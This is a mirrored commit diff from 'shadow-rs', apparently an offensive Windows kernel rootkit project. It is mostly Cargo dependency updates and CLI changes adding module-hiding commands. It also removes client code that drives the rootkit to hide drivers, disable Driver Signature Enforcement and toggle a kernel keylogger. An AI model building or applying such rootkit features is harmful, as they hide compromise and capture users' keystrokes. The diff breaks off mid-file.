mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2025-12-22 01:34:28 +01:00
Adding new features to the 'Module' and refactoring the code
This commit is contained in:
@@ -174,3 +174,4 @@ These are some of the features that will be added, but there are many more on th
|
||||
- https://www.amazon.com.br/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319
|
||||
- https://github.com/mirror/reactos
|
||||
- https://github.com/Kharos102/ReadWriteDriverSample
|
||||
- https://imphash.medium.com/windows-process-internals-a-few-concepts-to-know-before-jumping-on-memory-forensics-part-4-16c47b89e826
|
||||
2
client/.gitignore
vendored
2
client/.gitignore
vendored
@@ -1,2 +1,2 @@
|
||||
/target
|
||||
/src/memory.rs
|
||||
/src/modules/memory.rs
|
||||
375
client/Cargo.lock
generated
375
client/Cargo.lock
generated
@@ -2,6 +2,30 @@
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "aho-corasick"
|
||||
version = "1.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "android-tzdata"
|
||||
version = "0.1.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "anstream"
|
||||
version = "0.6.14"
|
||||
@@ -38,7 +62,7 @@ version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ad186efb764318d35165f1758e7dcef3b10628e26d41a44bc5550652e6804391"
|
||||
dependencies = [
|
||||
"windows-sys",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -48,7 +72,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "61a38449feb7068f52bb06c12759005cf459ee52bb4adc1d5a7c4322d716fb19"
|
||||
dependencies = [
|
||||
"anstyle",
|
||||
"windows-sys",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "autocfg"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0"
|
||||
|
||||
[[package]]
|
||||
name = "bumpalo"
|
||||
version = "3.16.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.1.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b62ac837cdb5cb22e10a256099b4fc502b1dfe560cb282963a974d7abd80e476"
|
||||
dependencies = [
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||
|
||||
[[package]]
|
||||
name = "chrono"
|
||||
version = "0.4.38"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401"
|
||||
dependencies = [
|
||||
"android-tzdata",
|
||||
"iana-time-zone",
|
||||
"js-sys",
|
||||
"num-traits",
|
||||
"wasm-bindgen",
|
||||
"windows-targets 0.52.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -95,10 +160,13 @@ checksum = "4b82cf0babdbd58558212896d1a4272303a57bdb245c2bf1147185fb45640e70"
|
||||
name = "client"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"clap",
|
||||
"colored",
|
||||
"env_logger",
|
||||
"log",
|
||||
"shared",
|
||||
"winapi",
|
||||
"windows-sys",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -107,18 +175,119 @@ version = "1.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b6a852b24ab71dffc585bcb46eaf7959d175cb865a7152e35b348d1b2960422"
|
||||
|
||||
[[package]]
|
||||
name = "colored"
|
||||
version = "2.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cbf2150cce219b664a8a70df7a1f933836724b503f8a413af9365b4dcc4d90b8"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"windows-sys 0.48.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "core-foundation-sys"
|
||||
version = "0.8.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
|
||||
|
||||
[[package]]
|
||||
name = "env_filter"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4f2c92ceda6ceec50f43169f9ee8424fe2db276791afde7b2cd8bc084cb376ab"
|
||||
dependencies = [
|
||||
"log",
|
||||
"regex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "env_logger"
|
||||
version = "0.11.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e13fa619b91fb2381732789fc5de83b45675e882f66623b7d8cb4f643017018d"
|
||||
dependencies = [
|
||||
"anstream",
|
||||
"anstyle",
|
||||
"env_filter",
|
||||
"humantime",
|
||||
"log",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "heck"
|
||||
version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||
|
||||
[[package]]
|
||||
name = "humantime"
|
||||
version = "2.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
|
||||
|
||||
[[package]]
|
||||
name = "iana-time-zone"
|
||||
version = "0.1.60"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"core-foundation-sys",
|
||||
"iana-time-zone-haiku",
|
||||
"js-sys",
|
||||
"wasm-bindgen",
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "iana-time-zone-haiku"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
|
||||
dependencies = [
|
||||
"cc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "is_terminal_polyfill"
|
||||
version = "1.70.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f8478577c03552c21db0e2724ffb8986a5ce7af88107e6be5d2ee6e158c12800"
|
||||
|
||||
[[package]]
|
||||
name = "js-sys"
|
||||
version = "0.3.70"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1868808506b929d7b0cfa8f75951347aa71bb21144b7791bae35d9bccfcfe37a"
|
||||
dependencies = [
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.158"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d8adc4bb1803a324070e64a98ae98f38934d91957a99cfb3a43dcbc01bc56439"
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.22"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
|
||||
|
||||
[[package]]
|
||||
name = "ntapi"
|
||||
version = "0.4.1"
|
||||
@@ -128,6 +297,21 @@ dependencies = [
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "num-traits"
|
||||
version = "0.2.19"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||
dependencies = [
|
||||
"autocfg",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "once_cell"
|
||||
version = "1.19.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.85"
|
||||
@@ -146,14 +330,49 @@ dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex"
|
||||
version = "1.10.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4219d74c6b67a3654a9fbebc4b419e22126d13d2f3c4a07ee0cb61ff79a79619"
|
||||
dependencies = [
|
||||
"aho-corasick",
|
||||
"memchr",
|
||||
"regex-automata",
|
||||
"regex-syntax",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex-automata"
|
||||
version = "0.4.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "38caf58cc5ef2fed281f89292ef23f6365465ed9a41b7a7754eb4e26496c92df"
|
||||
dependencies = [
|
||||
"aho-corasick",
|
||||
"memchr",
|
||||
"regex-syntax",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex-syntax"
|
||||
version = "0.8.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7a66a03ae7c801facd77a29370b4faec201768915ac14a721ba36f20bc9c209b"
|
||||
|
||||
[[package]]
|
||||
name = "shared"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"ntapi",
|
||||
"windows-sys",
|
||||
"windows-sys 0.52.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "shlex"
|
||||
version = "1.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||
|
||||
[[package]]
|
||||
name = "strsim"
|
||||
version = "0.11.1"
|
||||
@@ -183,6 +402,61 @@ version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
|
||||
|
||||
[[package]]
|
||||
name = "wasm-bindgen"
|
||||
version = "0.2.93"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a82edfc16a6c469f5f44dc7b571814045d60404b55a0ee849f9bcfa2e63dd9b5"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"once_cell",
|
||||
"wasm-bindgen-macro",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasm-bindgen-backend"
|
||||
version = "0.2.93"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9de396da306523044d3302746f1208fa71d7532227f15e347e2d93e4145dd77b"
|
||||
dependencies = [
|
||||
"bumpalo",
|
||||
"log",
|
||||
"once_cell",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
"wasm-bindgen-shared",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasm-bindgen-macro"
|
||||
version = "0.2.93"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "585c4c91a46b072c92e908d99cb1dcdf95c5218eeb6f3bf1efa991ee7a68cccf"
|
||||
dependencies = [
|
||||
"quote",
|
||||
"wasm-bindgen-macro-support",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasm-bindgen-macro-support"
|
||||
version = "0.2.93"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "afc340c74d9005395cf9dd098506f7f44e38f2b4a21c6aaacf9a105ea5e1e836"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
"wasm-bindgen-backend",
|
||||
"wasm-bindgen-shared",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "wasm-bindgen-shared"
|
||||
version = "0.2.93"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c62a0a307cb4a311d3a07867860911ca130c3494e8c2719593806c08bc5d0484"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
@@ -205,13 +479,46 @@ version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows-core"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9"
|
||||
dependencies = [
|
||||
"windows-targets 0.52.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.48.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
|
||||
dependencies = [
|
||||
"windows-targets 0.48.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.52.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
|
||||
dependencies = [
|
||||
"windows-targets",
|
||||
"windows-targets 0.52.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-targets"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm 0.48.5",
|
||||
"windows_aarch64_msvc 0.48.5",
|
||||
"windows_i686_gnu 0.48.5",
|
||||
"windows_i686_msvc 0.48.5",
|
||||
"windows_x86_64_gnu 0.48.5",
|
||||
"windows_x86_64_gnullvm 0.48.5",
|
||||
"windows_x86_64_msvc 0.48.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -220,28 +527,46 @@ version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
"windows_aarch64_gnullvm 0.52.5",
|
||||
"windows_aarch64_msvc 0.52.5",
|
||||
"windows_i686_gnu 0.52.5",
|
||||
"windows_i686_gnullvm",
|
||||
"windows_i686_msvc",
|
||||
"windows_x86_64_gnu",
|
||||
"windows_x86_64_gnullvm",
|
||||
"windows_x86_64_msvc",
|
||||
"windows_i686_msvc 0.52.5",
|
||||
"windows_x86_64_gnu 0.52.5",
|
||||
"windows_x86_64_gnullvm 0.52.5",
|
||||
"windows_x86_64_msvc 0.52.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.52.5"
|
||||
@@ -254,24 +579,48 @@ version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.52.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.48.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.52.5"
|
||||
|
||||
@@ -5,9 +5,16 @@ edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
clap = { version = "4.5.6", features = ["derive"] }
|
||||
winapi = "0.3.9"
|
||||
windows-sys = { version = "0.52.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Storage_FileSystem", "Win32_System_IO", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||
shared = { path = "../shared" }
|
||||
log = "0.4.22"
|
||||
env_logger = { version = "0.11.5" }
|
||||
colored = "2.1.0"
|
||||
chrono = "0.4.38"
|
||||
|
||||
[features]
|
||||
mapper = []
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
opt-level = "z"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#![allow(non_camel_case_types)]
|
||||
|
||||
use clap::{arg, Parser, Subcommand, ValueHint};
|
||||
use clap::{arg, Parser, Subcommand, ValueHint, ArgAction};
|
||||
|
||||
/// The main command-line interface struct.
|
||||
#[derive(Parser)]
|
||||
@@ -9,6 +9,10 @@ pub struct Cli {
|
||||
/// The command to be executed.
|
||||
#[command(subcommand)]
|
||||
pub command: Commands,
|
||||
|
||||
/// Activate verbose mode (-v, -vv for additional levels)
|
||||
#[arg(short, long, action = ArgAction::Count)]
|
||||
pub verbose: u8,
|
||||
}
|
||||
|
||||
/// Enum representing the available top-level commands.
|
||||
@@ -37,7 +41,7 @@ pub enum Commands {
|
||||
unhide: bool,
|
||||
|
||||
/// Enumerate the drivers.
|
||||
#[arg(long)]
|
||||
#[arg(long, short)]
|
||||
list: bool,
|
||||
|
||||
/// Name Driver
|
||||
@@ -58,12 +62,13 @@ pub enum Commands {
|
||||
#[command(subcommand)]
|
||||
sub_command: RegistryCommands
|
||||
},
|
||||
|
||||
/// Operations related to Module.
|
||||
Module {
|
||||
/// The process ID for enumerate modules.
|
||||
#[arg(short, long, required = true)]
|
||||
pid: u32,
|
||||
#[command(subcommand)]
|
||||
sub_command: ModuleCommands
|
||||
},
|
||||
|
||||
/// Operations related to Callback.
|
||||
Callback {
|
||||
/// Enumerate callback.
|
||||
@@ -82,7 +87,7 @@ pub enum Commands {
|
||||
#[arg(long, short, required = true)]
|
||||
callback: Callbacks,
|
||||
|
||||
// Restore callback.
|
||||
/// Restore callback.
|
||||
#[arg(long)]
|
||||
restore: Option<usize>,
|
||||
},
|
||||
@@ -230,7 +235,7 @@ pub enum ProcessCommands {
|
||||
/// Lists protected or hidden processes
|
||||
Enumerate {
|
||||
/// Enumerate Processes.
|
||||
#[arg(long, required = true)]
|
||||
#[arg(long, short, required = true)]
|
||||
list: bool,
|
||||
// Types Enumerate
|
||||
#[arg(long, short, required = true)]
|
||||
@@ -263,6 +268,28 @@ pub enum MisCommands {
|
||||
},
|
||||
}
|
||||
|
||||
/// Enum representing the subcommands for module operations.
|
||||
#[derive(Subcommand)]
|
||||
pub enum ModuleCommands {
|
||||
/// Hide the module.
|
||||
Hide {
|
||||
/// The module to hide.
|
||||
#[arg(short, long, required = true)]
|
||||
module: String,
|
||||
|
||||
/// The pid to module.
|
||||
#[arg(short, long, required = true)]
|
||||
pid: u32,
|
||||
},
|
||||
|
||||
/// Enumerate modules.
|
||||
Enumerate {
|
||||
/// The process ID for enumerate modules.
|
||||
#[arg(short, long, required = true)]
|
||||
pid: u32,
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing the subcommands for thread operations.
|
||||
#[derive(Subcommand)]
|
||||
pub enum ThreadCommands {
|
||||
|
||||
@@ -1,147 +0,0 @@
|
||||
use {
|
||||
core::mem::size_of,
|
||||
shared::structs::{DriverInfo, TargetDriver, DSE},
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
windows_sys::{
|
||||
w,
|
||||
Win32::{
|
||||
Foundation::{
|
||||
CloseHandle, GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE
|
||||
},
|
||||
Storage::FileSystem::{
|
||||
CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}, System::IO::DeviceIoControl
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
pub fn unhide_hide_driver(ioctl_code: u32, name: &String, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
let mut info_driver = TargetDriver {
|
||||
name: name.to_string(),
|
||||
enable
|
||||
};
|
||||
let mut return_buffer = 0;
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_driver as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<TargetDriver>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
println!("[+] Driver successfully hidden / unhidden")
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn enumerate_driver(ioctl_code: u32) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let mut driver_info: [DriverInfo; 400] = unsafe { std::mem::zeroed() };
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
null_mut(),
|
||||
0,
|
||||
driver_info.as_mut_ptr() as *mut _,
|
||||
(driver_info.len() * size_of::<DriverInfo>()) as u32,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
let total_module = return_buffer as usize / size_of::<DriverInfo>();
|
||||
println!("[+] Total modules: {}", total_module);
|
||||
for i in driver_info.iter() {
|
||||
if i.address > 0 {
|
||||
let name = match String::from_utf16(&i.name) {
|
||||
Ok(name) => name,
|
||||
Err(err) => {
|
||||
eprintln!("[!] UTF-16 decoding error: {:?}", err);
|
||||
continue;
|
||||
}
|
||||
};
|
||||
println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn dse(ioctl_code: u32, enable: bool) {
|
||||
let h_file = open_driver().expect("Failed to open driver");
|
||||
let status;
|
||||
let mut return_buffer = 0;
|
||||
let mut info_dse = DSE {
|
||||
enable
|
||||
};
|
||||
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut info_dse as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<DSE>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
if enable {
|
||||
println!("[+] Driver Signature Enforcement (DSE) Enabled");
|
||||
} else {
|
||||
println!("[+] Driver Signature Enforcement (DSE) Disabled");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
unsafe {
|
||||
CloseHandle(h_file);
|
||||
};
|
||||
}
|
||||
|
||||
pub fn open_driver() -> Result<HANDLE, ()> {
|
||||
let h_file = unsafe {
|
||||
CreateFileW(
|
||||
w!("\\\\.\\shadow"),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
null_mut(),
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
)
|
||||
};
|
||||
|
||||
if h_file == INVALID_HANDLE_VALUE {
|
||||
unsafe { println!("[!] CreateFileW Failed With Error: {:?}", GetLastError()) };
|
||||
return Err(());
|
||||
}
|
||||
|
||||
Ok(h_file)
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
use {
|
||||
std::{ffi::c_void, ptr::null_mut},
|
||||
windows_sys::Win32::System::IO::DeviceIoControl,
|
||||
shared::structs::Keylogger,
|
||||
crate::driver::open_driver,
|
||||
};
|
||||
|
||||
pub fn keylogger(ioctl_code: u32, state: bool) {
|
||||
let h_file = open_driver().expect("Failed open driver");
|
||||
let status;
|
||||
let mut return_buffer = 0;
|
||||
let mut keylogger = Keylogger {
|
||||
enable: state
|
||||
};
|
||||
status = unsafe {
|
||||
DeviceIoControl(
|
||||
h_file,
|
||||
ioctl_code,
|
||||
&mut keylogger as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<Keylogger>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut return_buffer,
|
||||
null_mut()
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||
} else {
|
||||
if state {
|
||||
println!("[+] Keylogger start");
|
||||
} else {
|
||||
println!("[+] Keylogger stop");
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,77 +1,88 @@
|
||||
use {
|
||||
cli::*,
|
||||
log::*,
|
||||
colored::*,
|
||||
clap::Parser,
|
||||
std::io::Write,
|
||||
log::LevelFilter,
